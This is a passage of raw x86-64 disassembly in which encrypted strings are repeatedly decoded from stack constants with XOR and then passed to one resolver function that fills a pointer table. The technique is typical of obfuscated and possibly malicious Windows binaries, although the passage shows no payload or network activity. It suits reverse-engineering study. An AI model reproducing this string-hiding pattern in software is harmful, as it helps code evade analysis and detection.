movabs rax, 0xa5170767b3c94a2
mov qword [rbp + 0x93e0], rax
movabs rax, 0xdc94dcf9ee0e7e
mov qword [rbp + 0x93e8], rax
movabs rax, 0x20d67cde15
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x717fa563513
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6d3402193d48f1e5
mov qword [rbp + 0x9420], rax
movabs rax, 0x6eb5c3b8979b610c
mov qword [rbp + 0x9428], rax
movabs rax, 0x20d60bb171
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x4000]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140041c90
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x4000]
mov rdx, qword [rbp - 0x50]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x160], rax
movabs rax, 0x16fba03aeca199d9
mov qword [rbp + 0x93e0], rax
movabs rax, 0x1177912a77b36cd7
mov qword [rbp + 0x93e8], rax
movabs rax, 0x1e4c1161a0
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x7192c87a796
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x719ed255aad5fc8a
mov qword [rbp + 0x9420], rax
movabs rax, 0x7f1ec64e19c603a5
mov qword [rbp + 0x9428], rax
movabs rax, 0x1e4c660ec4
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x3ec0]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140041e00
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x3ec0]
mov rdx, qword [rbp - 0x50]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x158], rax
movabs rax, 0xce1ec4d2caf8e5f
mov qword [rbp + 0x93e0], rax
movabs rax, 0x7a9093b40194ca41
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x638582247bdbeb18
mov qword [rbp + 0x9400], rax
movabs rax, 0x7a90c4c079f19e36
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x93f0], xmm2
lea rcx, [rbp + 0x2700]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x2700]
mov rdx, qword [rbp - 0x50]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x178], rax
movabs rax, 0x1dd0c8063636342a
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x4b7e3b52dd978c5
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1dd0be6f725a4167
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0x1040], xmm0
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x1050], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x1060], xmm1
movaps xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x1070], xmm0
movaps xmm1, xmmword [rbp + 0x30]
movaps xmmword [rbp + 0x1080], xmm1
movaps xmm0, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x1090], xmm0
movaps xmm1, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x10a0], xmm1
lea r8, [rbp + 0x1040]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x180], rax
movabs rax, 0x12b568d9734287d7
mov qword [rbp + 0x93e0], rax
movabs rax, 0x43cc2b1c77c7afaf
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x42d909ac0730ee81
mov qword [rbp + 0x9400], rax
movabs rax, 0x43cc5f7f12b3c0dd
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x27f0]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x27f0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x188], rax
movabs rax, 0x58ab63930277d9a
mov qword [rbp + 0x93e0], rax
movabs rax, 0x777c4a1b34efe407
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x6dded34d51420fd9
mov qword [rbp + 0x9400], rax
movabs rax, 0x777c4a1b508e8175
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x1ee0]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1ee0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x190], rax
movabs rax, 0x12a8a3fc80e9ef77
mov qword [rbp + 0x93e0], rax
movabs rax, 0xb201e4d6ef78a42
mov qword [rbp + 0x93e8], rax
mov qword [rbp + 0x93f0], r15
movabs rcx, 0xe00000002002735b
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x73cdd194d49d8a30
mov qword [rbp + 0x9420], rax
movabs rax, 0x7f587b390098c926
mov qword [rbp + 0x9428], rax
mov qword [rbp + 0x9430], r15
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x37d0]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140042350
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x37d0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x198], rax
movabs rax, 0x14e73ddc808389a6
mov qword [rbp + 0x93e0], rax
movabs rax, 0x40e93c71f8b76af
mov qword [rbp + 0x93e8], rax
mov qword [rbp + 0x93f0], r15
movabs rcx, 0xe000000020027eb7
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x75824fb4d4f7ecf5
mov qword [rbp + 0x9420], rax
movabs rax, 0x7076f6b371e435cb
mov qword [rbp + 0x9428], rax
mov qword [rbp + 0x9430], r15
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x36c0]
lea rcx, [rbp + 0x120]
mov rdx, r12
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140042490
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x36c0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x1a0], rax
movabs rax, 0xcd4be634a5b9704
mov qword [rbp + 0x93e0], rax
movabs rax, 0x6f4f0e955cddebea
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x6480db0e3f28f256
mov qword [rbp + 0x9400], rax
movabs rax, 0x6f4f0e9538bc8e98
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x1fb0]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1fb0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x1a8], rax
movabs rax, 0x5ba76e3fb750142
mov qword [rbp + 0x93e0], rax
movabs rax, 0x6218211cf315843
mov qword [rbp + 0x93e8], rax
mov qword [rbp + 0x93f0], r15
movabs rcx, 0xe0000000200208d4
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x71db188a96076416
mov qword [rbp + 0x9420], rax
movabs rax, 0x7552e772a0430826
mov qword [rbp + 0x9428], rax
mov qword [rbp + 0x9430], r15
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x38e0]
lea rcx, [rbp + 0x120]
mov rdx, r12
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400426e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x38e0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x1b0], rax
movabs rax, 0xdb3bea677bb6c3d
mov qword [rbp + 0x93e0], rax
movabs rax, 0x776ff4bf8e94932e
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x63d2f6c304d4007e
mov qword [rbp + 0x9400], rax
movabs rax, 0x776ff4bf8ef1ff4a
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x1af0]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x1af0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x1b8], rax
movabs rax, 0x21673634212bba
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x1c3bd14485490b5a
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x216746514447e9
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xbb0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xbc0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xbd0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xbe0], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xbf0], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xc00], xmm0
lea r8, [rbp + 0xbb0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x1c0], rax
movabs rax, 0xb60bd1a699b282e
mov qword [rbp + 0x93e0], rax
movabs rax, 0x5044306cd26bb039
mov qword [rbp + 0x93e8], rax
movabs rax, 0x98843a43f303126
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x79e347f500beb5e8
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6434d86e08fe5a6d
mov qword [rbp + 0x9420], rax
movabs rax, 0x62774000b703dc56
mov qword [rbp + 0x9428], rax
movabs rax, 0x7de72bd74f515f75
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x13b0]
lea rcx, [rbp + 0x120]
mov rdx, rdi
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400429e2
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x13b0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x1c8], rax
movabs rax, 0x118d5722ad55efd0
mov qword [rbp + 0x93e0], rax
movabs rax, 0x3e4f61ac05822237
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x22fe2447ce3a9d80
mov qword [rbp + 0x9400], rax
movabs rax, 0x3e1815df77eb6405
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x120], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x130], xmm2
lea rax, [rbp + 0x3190]
lea rcx, [rbp + 0x120]
mov rdx, r12
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140042ad2
lea r8, [rbp + 0x3190]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x1d0], rax
movabs rax, 0xa55fd144832e684
mov qword [rbp + 0x93e0], rax
movabs rax, 0x2c9ec4eaaba74cd8
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x39268e712b5d94d4
mov qword [rbp + 0x9400], rax
movabs rax, 0x2c9e939ed3c202ea
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x93f0], xmm2
lea rcx, [rbp + 0x28e0]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x28e0]
mov rdx, rbx
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x1d8], rax
movabs rax, 0x4e42c3581931c2c
mov qword [rbp + 0x93e0], rax
movabs rax, 0xd69f5fb0a9ed834
mov qword [rbp + 0x93e8], rax
movabs rax, 0x5dc4d1e7a4c7b07
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x8dcbfd4161f921f
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x65815e5dd5e7796b
mov qword [rbp + 0x9420], rax
movabs rax, 0x6b28858e65ec9f50
mov qword [rbp + 0x9428], rax
movabs rax, 0x5dc346a13221261
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
